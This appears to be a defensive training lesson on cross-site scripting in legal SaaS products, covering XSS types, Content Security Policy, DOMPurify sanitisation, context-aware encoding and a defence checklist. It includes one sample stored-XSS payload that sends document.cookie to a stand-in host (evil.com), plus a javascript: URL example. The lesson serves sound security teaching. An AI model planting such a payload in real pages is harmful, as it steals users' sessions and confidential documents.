Today’s Lesson
Security for Legal SaaS — Episode 9: Cross-Site Scripting (XSS)
The Browser Becomes the Weapon
Cross-Site Scripting (XSS) is the injection of malicious scripts into web pages viewed by other users. Unlike SQL injection — which targets your server — XSS targets your users’ browsers. OWASP ranks injection (including XSS) as A03 in the 2021 Top 10, and XSS has been the most commonly reported vulnerability class on bug bounty platforms for over a decade.
In legal SaaS, XSS is particularly dangerous because the browser has access to everything the authenticated user can see: privileged documents, case strategy, client communications. An attacker who achieves XSS can steal session tokens, read page content, and perform actions as the victim — all invisible to the user.
Key stat: XSS accounted for 18% of all vulnerabilities reported on HackerOne in 2023, making it the single most commonly discovered vulnerability class on the platform.
Three Types of XSS
Stored XSS (Persistent)
Malicious script is permanently stored on the target server — in a database field, comment, user profile, or document. Every user who views the page containing the stored payload executes the script.
Legal SaaS vector: A case note field that renders without encoding. An attacker (or compromised account) saves <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script> as a matter note. Every lawyer who opens that matter has their session token exfiltrated.
Reflected XSS (Non-Persistent)
Malicious script is reflected off the server in the immediate response — typically via a URL parameter or form submission that the server echoes back.
Legal SaaS vector: A search endpoint that reflects the search query in the results page: “You searched for: <script>...</script>”. The attacker crafts a URL and sends it to the target (phishing email to a partner with a link to “review this urgent case”).
DOM-Based XSS
The vulnerability exists entirely in client-side JavaScript. The server never sees the payload — it’s processed by JavaScript reading from location.hash, document.referrer, or other client-side data sources and injecting it into the DOM unsafely.
Legal SaaS vector: A document preview component that reads a filename from the URL hash and inserts it into the page using innerHTML. The attacker crafts a URL with a script payload in the hash fragment.
| Type | Storage | Server Involvement | Detection Difficulty |
|---|---|---|---|
| Stored | Server database | Serves the payload | Hard — payload may be in any stored field |
| Reflected | URL/form data | Reflects in response | Medium — visible in server responses |
| DOM-based | Client-side only | None | Hardest — server-side scanners miss it |
Content Security Policy (CSP)
Content Security Policy is a browser mechanism that restricts which resources a page can load and execute. It’s delivered as an HTTP header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://api.legalapp.com
CSP Directives for Legal SaaS
| Directive | Recommended Value | Purpose |
|---|---|---|
default-src |
'self' |
Fallback for all resource types |
script-src |
'self' (no 'unsafe-inline', no 'unsafe-eval') |
Blocks inline scripts and eval — the primary XSS defence |
style-src |
'self' with nonce or hash |
Restricts stylesheets |
connect-src |
'self' + specific API domains |
Restricts fetch/XMLHttpRequest targets |
frame-src |
'none' or specific embed origins |
Prevents clickjacking |
object-src |
'none' |
Blocks Flash, Java applets |
base-uri |
'self' |
Prevents base-tag hijacking |
Google’s CSP Evaluator analyses your policy for weaknesses. Research from Google found that 94.72% of deployed CSPs in the wild were bypassable due to misconfigurations — primarily the use of 'unsafe-inline' and overly broad allowlists.
Critical: A CSP with script-src 'unsafe-inline' provides almost no XSS protection — the attacker's injected inline script is explicitly allowed. If you cannot eliminate inline scripts (legacy code), use nonces: each inline script receives a random token that must match the CSP header. Attackers cannot predict the nonce.
Legal SaaS XSS Attack Surface
Legal technology has specific features that dramatically expand XSS risk:
Rich Text Editing
Matter notes, contract annotations, legal memoranda — all require rich text. Rich text editors like TinyMCE, CKEditor, and Quill must carefully sanitise HTML output. An allowlist of permitted HTML tags and attributes is essential:
// DOMPurify — industry standard HTML sanitiser
const clean = DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['p', 'b', 'i', 'u', 'a', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'blockquote'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
DOMPurify is the recommended sanitiser — maintained by cure53, a security research firm, and extensively tested against bypass techniques.
Document Previews
Displaying uploaded documents (PDF, DOCX, HTML emails) in the browser creates XSS risk if the content renders in the same origin as your application. A malicious PDF with embedded JavaScript, or an HTML email with script tags, executes in your application’s context.
Mitigations:
- Render document previews in sandboxed iframes with a different origin (preview.legalapp.com, not app.legalapp.com)
- Use sandbox attribute on iframes: <iframe sandbox="allow-same-origin">
- Convert documents to images for preview (eliminates active content entirely)
- Set X-Content-Type-Options: nosniff to prevent MIME-type sniffing
Email Rendering
Legal SaaS that displays email content (matter-linked email threads, client communications) faces severe XSS risk. Email HTML is notoriously dangerous — crafted by potentially adversarial senders.
- Strip all JavaScript before rendering
- Render in a sandboxed, cross-origin iframe
- Rewrite href attributes to proxy through your domain (prevents tracking and reduces phishing from rendered links)
- Block form elements entirely
Output Encoding by Context
The fundamental XSS defence is context-aware output encoding. The same data requires different encoding depending on where it appears in the HTML document:
| Output Context | Encoding Required | Example |
|---|---|---|
| HTML body | HTML entity encoding | < → < |
| HTML attribute | Attribute encoding (quote all values) | " → " |
| JavaScript string | JavaScript escape | ' → \', or JSON.stringify |
| URL parameter | URL/percent encoding | < → %3C |
| CSS value | CSS escape | ( → \28 |
OWASP’s XSS Prevention Cheat Sheet defines these rules in detail. The critical insight: HTML entity encoding alone is insufficient if user data appears in a JavaScript context, URL context, or CSS context. Each requires its own encoding function.
Auto-Escaping and Its Gaps
Modern template engines (React, Vue, Angular, Jinja2, Handlebars) auto-escape by default. React’s JSX treats all expressions as text unless you explicitly use dangerouslySetInnerHTML. This eliminates the majority of XSS vulnerabilities.
Where Auto-Escaping Fails
| Gap | Framework Feature | Risk |
|---|---|---|
| Raw HTML insertion | React: dangerouslySetInnerHTML; Vue: v-html |
Renders unsanitised HTML directly |
href and src attributes |
<a href={userInput}> |
javascript:alert(1) executes on click |
| Event handlers | <div onClick={...}> with user data |
Arbitrary code execution |
| Server-side rendering (SSR) | Hydration mismatches | Client renders differently than server |
| Template literals | ` ${userInput} ` |
No escaping in template strings |
// UNSAFE — React's escape hatch
<div dangerouslySetInnerHTML={{ __html: userProvidedHTML }} />
// SAFE — sanitise before rendering
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userProvidedHTML) }} />
For href attributes, always validate the URL scheme:
function safeHref(url) {
const parsed = new URL(url, window.location.origin);
if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return '#'; // Block javascript:, data:, vbscript: schemes
}
return url;
}
XSS Impact in Legal SaaS
| Attack | Mechanism | Consequence |
|---|---|---|
| Session hijacking | Steal session cookie via document.cookie |
Full account takeover |
| Keylogging | Inject keylogger script on login page | Credential theft |
| Document exfiltration | Read DOM content of privileged documents | Privilege breach |
| Phishing overlay | Inject fake login modal | Credential harvesting |
| Privilege escalation | Perform admin actions as the victim | Tenant-wide compromise |
| Worm propagation | XSS that copies itself into other stored fields | Viral spread across all users |
The Samy worm (2005)) demonstrated that stored XSS can propagate virally — infected profiles automatically infecting viewers’ profiles. In a legal SaaS context, a stored XSS worm in matter notes could spread across every matter a lawyer views, exfiltrating privileged content at scale.
Defence Checklist
1. Output encode by context — HTML, attribute, JavaScript, URL, CSS each need different encoding
2. Use auto-escaping frameworks — React, Vue, Angular do this by default
3. Sanitise rich text with DOMPurify — allowlist permitted tags and attributes
4. Deploy strict CSP — no 'unsafe-inline', no 'unsafe-eval', use nonces
5. Sandbox document previews — cross-origin iframes for untrusted content
6. Validate URL schemes — block javascript:, data:, vbscript:
7. Set security headers — X-Content-Type-Options: nosniff, X-Frame-Options
8. HttpOnly cookies — prevents JavaScript access to session tokens
9. Audit dangerouslySetInnerHTML / v-html — every instance needs DOMPurify
10. CSP reporting — deploy in report-only first, then enforce. Report-URI provides monitoring
Conclusion
XSS turns your users’ browsers into attack platforms operating within your application’s trust domain. Legal SaaS is particularly vulnerable because the product necessarily handles rich text, document previews, and email content — all XSS amplifiers. Context-aware encoding, strict CSP, and HTML sanitisation form the defence triad. Auto-escaping frameworks handle 90% of cases; the remaining 10% — raw HTML, dynamic URLs, document rendering — demands deliberate attention.
Next episode: File Upload Security — where we examine what happens when users upload files that aren’t what they claim to be.